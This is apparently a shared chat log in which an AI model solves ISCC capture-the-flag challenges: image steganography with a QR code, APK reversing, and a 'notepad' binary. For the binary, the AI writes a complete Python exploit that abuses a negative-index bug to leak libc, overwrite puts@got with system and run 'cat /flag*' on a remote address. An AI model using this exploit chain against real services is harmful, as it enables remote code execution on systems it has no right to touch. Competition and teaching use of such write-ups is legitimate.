1. barcode_00.png 到 barcode_20.png 每张图都藏了 3 层信息:...

बनाया गया: 10 मई 2026

का उपयोग करके उत्तर दिया गया GPT-5.5 Thinking द्वारा Chat01

प्रश्न

attachment-18.rar
  1. barcode_00.png 到 barcode_20.png 每张图都藏了 3 层信息:Code128、PNG Comment、首行像素隐写。
  2. 提取出 21 行 24-bit 数据,去掉每行前 3 bit,拼成 21x21 二维码。
  3. 这个二维码需要黑白反相后解码,结果是 XEVUX9vysItc4CU。
  4. 用它解开 score.rar,得到 music score.pdf。
  5. PDF 里隐藏文本是 KEY+bnVtYmVyYWJvdmVsaW5l3,其中 bnVtYmVyYWJvdmVsaW5l base64 解码为 numberaboveline,即提示:KEY +
    number above line 3。
  6. 第 3 行五线谱上方数字是 4 1 5 1 5 1 5,合并为 4151515。
  7. 最终得到 ISCC{XEVUX9vysItc4CU4151515}。
    根据上述思路解出结果不同但思路相同得flag

विचार

bash -lc python3 - <<'PY' from PIL import Image im=Image.open('/mnt/data/render18/page-1.png') boxes={ 'phys1':(100,400,1510,720), 'phys2':(100,720,1510,990), 'phys3':(100,990,1510,1290), 'phys4':(100,1290,1510,1660), 'phys5':(100,1660,1510,2020) } for name,box in boxes.items(): im.crop(box).save(f'/mnt/data/render18/{name}.png') PY

Thought for 9m 21s

उत्तर

解出来的 flag 是:

text
ISCC{jb31iRpXB1TqxH44151515}

关键差异点:这组数据里 21 行不是按 barcode_00barcode_20 顺序拼,而是取出形如 A1fd37fAB104541B 这种条目后,按首尾字母 AU 排序。二维码解码得到:

text
jb31iRpXB1TqxH4

PDF 隐藏文本为:

text
KEY+bnVtYmVyYWJvdmVsaW5l3

bnVtYmVyYWJvdmVsaW5l 解码为 numberaboveline,即取第 3 行五线谱上方数字:

text
4151515

所以最终为:

text
ISCC{jb31iRpXB1TqxH44151515}

प्रश्न

attachment-25.apk

按步取匙
200
2904 solves

有人把秘密藏在了言外之意:三段不起眼的笔记、几处被风吹淡的线索,以及一把只在特定时刻才会发亮的小匙。慢慢拼凑、静观其变,你会发现这不是一次抢夺,而是一场用心的对话;设备会替这段对话留下一点独有的指纹,作为回响。

विचार

Verifying final flag generation and assets

It looks like the native initialization and assets might have anti-debug effects, but that's probably not necessary to check. For the final answer, I'll include the flag and steps, especially highlighting “登录口令” and key details like the password and decoy clues. There might be useful static clues in pw.dat, challenge2.enc, and other assets. I’ll also verify the HMAC/HKDF process in the script if needed.

Thought for 5m 1s

उत्तर

解出的 flag 是:

text
ISCC{b36de5511702845fd5676d785e33c13021d472f7986cfefe}

按步取匙过程如下:

text
登录用户名:zkp_master 登录密码:Zkp_M_ast3er

三关输入分别是:

text
Challenge 1 验证码:A15AACFD Challenge 2 认证令牌:570c9be017d6dd994d66ce38415f29cf Challenge 3 最终密钥:e994d2b5c8e96837

中间 token 为:

text
31a17e956ab2af0536b9cc95fd6dc932

最终 native 里用 CTF_ZKP_FLAG_V2 + session_key + proof1[:8] + proof2[:8] + proof3[:8] 再做 SHA-256,取前 24 字节转 hex,包上 ISCC{},得到:

text
ISCC{b36de5511702845fd5676d785e33c13021d472f7986cfefe}

प्रश्न

attachment-30.zip

notepad
100
3323 solves

一个简易记事本程序,允许创建和查看笔记。
题目地址:39.96.193.120:10005

विचार

Considering the challenge status and alternatives

It seems like running the challenge in a local docker isn't helping with retrieving the flag. The service might be down because the contest could be over. I can't access the flag through direct connections, so my best option might be presenting an exploit with the message “目前远端拒绝连接.” I can’t directly retrieve the flag, but reviewing the binary didn't reveal any hints either.

Final plan for addressing the challenge

It seems the flag isn't inside the Docker image. The remote service is not open, but I can present the exploit code. I’ll be honest and say I couldn’t connect due to a "Connection refused" error, as that’s factual from my attempts. No citation needed for this since it's not based on a web search.

Thought for 2m 33s

उत्तर

我分析完附件了,漏洞和利用链是确定的;但当前题目服务 39.96.193.120:10005 从这里连接返回:

text
ConnectionRefusedError: [Errno 111] Connection refused

所以我没法实际从远端读出最终 flag。附件本身不含 flag,需要远端 /flagflag 文件。

利用点:

text
get_note() 只判断 index <= 9,没有判断 index >= 0

因此负索引可越界到 GOT / stdio 指针区:

text
notes = 0x35a0 index -4 -> 0x34e0,可泄露 read@got index -5 -> 0x34b0,content 区可覆盖 puts@got

利用思路:

text
1. view(-4) 泄露 read@libc 2. libc_base = read_addr - 0x111130 3. system = libc_base + 0x55410 4. create(0) 写入命令:cat flag* / cat /flag* 5. create(-5) 覆盖 puts@got 为 system 6. view(0) 触发 system(note)

可直接跑的 exp:

python
import socket, time, struct HOST = "39.96.193.120" PORT = 10005 READ_OFF = 0x111130 SYSTEM_OFF = 0x55410 def recv_until(s, tok, timeout=5): data = b"" end = time.time() + timeout s.setblocking(False) while tok not in data and time.time() < end: try: c = s.recv(4096) if c: data += c else: break except BlockingIOError: time.sleep(0.02) s.setblocking(True) return data def recvall(s, timeout=2): data = b"" end = time.time() + timeout s.setblocking(False) while time.time() < end: try: c = s.recv(4096) if c: data += c end = time.time() + timeout else: break except BlockingIOError: time.sleep(0.05) s.setblocking(True) return data def send(s, data): s.sendall(data) def view(s, idx): recv_until(s, b"> ") send(s, b"2\n") recv_until(s, b"Index: ") send(s, str(idx).encode() + b"\n") return recv_until(s, b"> ", timeout=3) def create(s, idx, name15, content32): assert len(name15) == 15 assert len(content32) == 32 recv_until(s, b"> ") send(s, b"1\n") recv_until(s, b"Index: ") send(s, str(idx).encode() + b"\n") # scanf 留下的换行会被 read(name, 16) 吃掉 1 字节, # 所以这里实际只发 15 字节,写入效果是 b"\n" + name15。 recv_until(s, b"Name: ") send(s, name15) recv_until(s, b"Content: ") send(s, content32) s = socket.create_connection((HOST, PORT), timeout=8) # 1. leak read@libc out = view(s, -4) pos = out.index(b"Content: ") + len(b"Content: ") leak = out[pos:out.index(b"\n", pos)] read_addr = struct.unpack("<Q", leak.ljust(8, b"\x00"))[0] libc_base = read_addr - READ_OFF system_addr = libc_base + SYSTEM_OFF print("[+] read =", hex(read_addr)) print("[+] libc =", hex(libc_base)) print("[+] system =", hex(system_addr)) # 2. 准备命令,view(0) 会先 system(name),再 system(content) create( s, 0, b"cat flag*\x00".ljust(15, b"\x00"), b"cat /flag*\x00".ljust(32, b"\x00"), ) # 3. overwrite puts@got -> system payload = b"B" * 16 + struct.pack("<Q", system_addr) + b"C" * 8 create(s, -5, b"A" * 15, payload) # 4. trigger recv_until(s, b"> ") send(s, b"2\n") recv_until(s, b"Index: ") send(s, b"0\n") out = recvall(s, timeout=3) print(out.decode("latin-1", errors="ignore"))

本地用同样方式验证过:覆盖 puts@got 后,view(0) 能成功执行 system(note)。当前缺的只是远端服务恢复连接后读取真实 flag。

प्रश्न

灵感笔记
100
3465 solves

你是一个自由撰稿人,使用"灵感笔记"云笔记工具。今天登录后,偶然发现这个笔记系统似乎有点问题...找到隐藏的Flag!
题目地址:39.105.213.28:5000

इस प्रश्नोत्तर को साझा करें